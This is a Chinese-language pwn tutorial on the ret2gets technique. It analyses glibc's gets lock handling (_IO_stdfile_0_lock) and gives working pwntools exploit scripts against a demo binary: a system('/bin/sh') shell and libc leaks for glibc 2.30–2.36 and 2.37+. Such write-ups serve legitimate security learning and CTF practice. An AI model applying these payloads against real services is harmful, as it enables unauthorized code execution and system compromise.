前言
ret2gets常用于没有pop rdi;ret这类控制rdi的gadget时泄露libc
适用范围,libc2.30版本及以上
这是一位国外师傅写的有关ret2gets利用的文章,我也是看这篇文章配合调试学习的,讲的很详细,更全面。
ret2gets
我这篇文章更偏向分析如何去攻击,打ret2system和ret2libc。
基础原理
直接开始介绍
第一张图是刚执行完gets函数的寄存器情况,可以看到rdi的值是0x7ffff7e1ca80 (_IO_stdfile_0_lock)
再vmmap
查看,他是在红线标注出的部分,这一个段是可写的,这对我们后续的攻击很有帮助
简单介绍一下0x7ffff7e1ca80 (_IO_stdfile_0_lock)
:
他是一个锁对象,通过控制他的值来应对条件竞争漏洞
结合gets
函数的源码:
char *
_IO_gets (char *buf)
{
size_t count;
int ch;
char *retval;
_IO_acquire_lock (stdin); //获取锁
ch = _IO_getc_unlocked (stdin);
if (ch == EOF)
{
retval = NULL;
goto unlock_return;
}
if (ch == '\n')
count = 0;
else
{
int old_error = stdin->_flags & _IO_ERR_SEEN;
stdin->_flags &= ~_IO_ERR_SEEN;
buf[0] = (char) ch;
count = _IO_getline (stdin, buf + 1, INT_MAX, '\n', 0) + 1;
if (stdin->_flags & _IO_ERR_SEEN)
{
retval = NULL;
goto unlock_return;
}
else
stdin->_flags |= old_error;
}
buf[count] = 0;
retval = buf;
unlock_return:
_IO_release_lock (stdin); //释放锁
return retval;
}
可以看到
gets
函数的开头,获取了锁,告知其他线程stdin
正在使用
gets
函数的结尾,释放了锁,告知其他线程stdin
已可用
为此,FILE
结构体有一个_lock
字段,它是指向_IO_lock_t
的指针
typedef struct {
int lock;
int cnt;
void *owner;
} _IO_lock_t;
那么我们可以将_IO_stdfile_0_lock
开头的0x10字节分成三个部分
前四个字节:lock
再往后四个字节:cnt
最后八个字节:owner
有关获取锁和释放锁的宏有很多,但是我们利用这个攻击方法所需要看的就只有两个宏:
_IO_lock_lock
和_IO_lock_unlock
#define _IO_lock_lock(_name) \
do {
void *__self = THREAD_SELF
if ((_name).owner != __self) //如果持有者不是当前线程
{ //那么就需要获取锁
lll_lock ((_name).lock, LLL_PRIVATE); //调用底层锁函数 lll_lock(Low-Level Lock)获取锁
(_name).owner = __self; //将owner设为当前线程
}
++(_name).cnt; //cnt++,表示获取锁的次数
} while (0)
#define _IO_lock_unlock(_name)
do { //cnt--,表示释放一次
if (--(_name).cnt == 0) //如果释放一次后cnt==0,说明这是最后一次释放锁需要执行解锁操作,即让owner=null
{
(_name).owner = NULL;
lll_unlock ((_name).lock, LLL_PRIVATE);
} //如果释放一次后cnt!=0,意味着后续还需要释放锁,比如当成线程处于递归操作中,就不用解锁
} while (0)
那么在这两个宏里,_name
就是锁本身,在gets调用的过程中,那就是_IO_stdfile_0_lock
我们来分析一下其中的重点:
owner
很多时候会储存着TSL
结构体地址,这个地址与libc
偏移是固定的,但是当当前线程完全解锁时会被清空cnt
在释放时会减一,此处存在整数溢出的漏洞
利用1 ret2system
至此,相信各位对_IO_stdfile_0_lock
有了初步的了解,那么我们开始ret2gets
的第一个利用,如何打ret2system
源码
#include <stdio.h>
#include <stdlib.h>
int main() {
puts("ret2gets&ret2system");
char buffer[0x20];
gets(buffer);
return 0;
}
void backdoor() {
system("echo hi");
}
有system
,也有gets
,但是没有/bin/sh\x00
字段,同时也没有有关rdi
的gadget
可用
当然可以考虑直接打ret2libc
,不过我们是为了演示ret2system
的应用
在ret2gets
的攻击中,/bin/sh\x00
我们是可以直接注入,并控制rdi指向的
利用方式也非常简单,gets
执行后,不去动rdi
的情况下,再次call gets
,此时就会向_IO_stdfile_0_lock
中读入内容,那么如果我们读入的是/bin/sh
呢?
可以看到,我们成功向_IO_stdfile_0_lock
中注入了/bin/sh
,此时直接system
就可以get shell
了
唯一需要注意的:
之前我们讲过,gets
开始时,cnt
会+1,gets结束后由于释放锁,cnt
会-1,因此cnt
的最低一字节,也就是/bin/sh\x00
的第五个字节的内容,应该改成ascii
码+1的内容
我们的payload就是
b'/bin'+p8(u8(b"/")+1)+b'sh'
payload
from pwn import *
context(arch='amd64',os='linux')
io= process("./gets")
gdb.attach(io)
system=0x401040
gets=0x401050
pause()
io.recvuntil(b'ret2gets&ret2system\n')
payload1=b'a'*(0x28)+p64(gets)+p64(system)
io.sendline(payload1)
payload2=b'/bin'+p8(u8(b"/")+1)+b'sh'
io.sendline(payload2)
io.interactive()
这种攻击方法意义没有那么大,或许在静态文件里可能才有用武之地
利用2 ret2libc
ret2libc
只需要利用ret2gets泄露libc
就够了
printf
如果有printf
函数,只需要在_IO_stdfile_0_lock
中注入格式化字符串就行了,跟ret2system
一样,注意第五个字节即可
b"%69$" + p8(u8(b"p")+1)
puts
真正的重头戏来了,有关puts
泄露libc
的利用还有版本区别,分为:
- 2.30-2.36
- 2.37+
2.30-2.36
我们先分析是如何获取libc
的
之前提到,owner
部分会变成TLS
的值,那么我们就很希望能够通过puts
函数输出这一部分的值对吧。
但是,gets
函数的特性是,读入遇到\n
才停止,然后把\n变成\0
,而\0
刚好会截断puts
的输出,那么我们岂不是泄露不了TLS
了?
回到之前讲过的,cnt
在锁释放后会减一,存在负数溢出,如果我们把cnt的值在gets
过程中覆盖为0,那么cnt
减一后,不就变成了0xffffffff
。这就成功绕过了
from pwn import *
context(arch='amd64',os='linux')
io= process("./gets")
gdb.attach(io)
puts=0x401030
gets=0x401050
pause()
io.recvuntil(b'ret2gets&ret2system\n')
payload1=b'a'*(0x28)+p64(gets)+p64(puts)+p64(0x0401060)
io.sendline(payload1)
payload2=b'AAAA'+b'\x00'*3
io.sendline(payload2)
io.recvuntil(b'\xff\xff\xff\xff')
leak=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x3a4740
info('libc_base:'+hex(libc_base))
io.interactive()
代码基本原理跟之前的差不多,接下来gdb
查看一下具体情况
可以看到,lock
部分是我们填充的垃圾数据,cnt
部分是-1,owner
部分是TLS
地址,与libc
有固定偏移
最后结果也是,我们的libc
是正确的
2.37+
先看源码_IO_lock_lock
和_IO_lock_unlock
的改变
#define _IO_lock_lock(_name)
do {
void *__self = THREAD_SELF;
if (SINGLE_THREAD_P && (_name).owner == NULL) //SINGLE_THREAD_P判断是否是单线程
{ //但是重点是owner是不是null
(_name).lock = LLL_LOCK_INITIALIZER_LOCKED;
(_name).owner = __self;
}
else if ((_name).owner != __self) //我们的攻击执行的是这个if为真的内容
{
lll_lock ((_name).lock, LLL_PRIVATE);
(_name).owner = __self; //让owner拥有TLS地址
}
else
++(_name).cnt;
} while (0)
#define _IO_lock_unlock(_name)
do {
if (SINGLE_THREAD_P && (_name).cnt == 0) //最特殊的点,当cnt==0时,不会再-1负数溢出了
{ //其他的都无所谓
(_name).owner = NULL;
(_name).lock = 0;
}
else if ((_name).cnt == 0)
{
(_name).owner = NULL;
lll_unlock ((_name).lock, LLL_PRIVATE);
}
else
--(_name).cnt; //我们会让cnt!=0,所以会走这里
} while (0)
总结一下:
- 新增了
SINGLE_THREAD_P
这个宏,但是没关系,我们直接用(_name).owner == NULL
这个判断去绕过这个情况 cnt
在等于0时不再减一,就不会负数溢出了
解决方法就是gets
两次
from pwn import *
context(arch='amd64',os='linux')
io= process("./gets")
gdb.attach(io)
puts=0x401030
gets=0x401050
pause()
io.recvuntil(b'ret2gets&ret2system\n')
payload1=b'a'*(0x28)+p64(gets)+p64(gets)+p64(puts)+p64(0x0401060)
io.sendline(payload1)
payload2=p32(0)+b'A'*4+b'B'*8
io.sendline(payload2)
payload3=b'BBBB'
io.sendline(payload3)
io.recv(8)
leak=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x3ba740
info('libc_base:'+hex(libc_base))
io.interactive()
第一次gets
:
lock
宏不用管
输入
p32(0)+b'A'*4+b'B'*8
- 设置
lock=0
:将锁标记为未锁定状态(LLL_LOCK_INITIALIZER
的值为 0)。 - 填充
cnt
为垃圾值:后续操作中会处理这个垃圾值。 - 覆盖
owner
为非NULL
值:使owner != THREAD_SELF
,触发后续锁获取逻辑。
结束后,在unlock
宏里,cnt-1
,此时lock=0
,cnt=0x41414140
,owner
是b'BBBBBBBB'
第二次gets
:
由于owner!=null
,且owner!=self
,因此会执行这两句
lll_lock ((_name).lock, LLL_PRIVATE);
(_name).owner = __self;
由于我们之前设置了lock=0
(未锁定状态),这里会将其锁定(设置为 1)
并且让owner
拥有TLS
地址
然后输入
b'BBBB'
因为之前把lock
变成了1,高位的\x00
会截断,这次读入是为了覆盖lock
,然后换行符会出现在cnt字段,将cnt的最低一字节变成\x00
结束后的unlock
宏又会让cnt
减一,最低一字节就变成了\xff
,绕过了puts
的截断
最后也是成功泄露libc
结尾
虽然gets
函数已经逐渐退出时代舞台了,不过这个利用方法确实很帅啊
如果想要例题的话可以看litctf2025
的master_of_rop
不过跟我的源码长得差不多
自己patch libc
就可以打两种版本的泄露了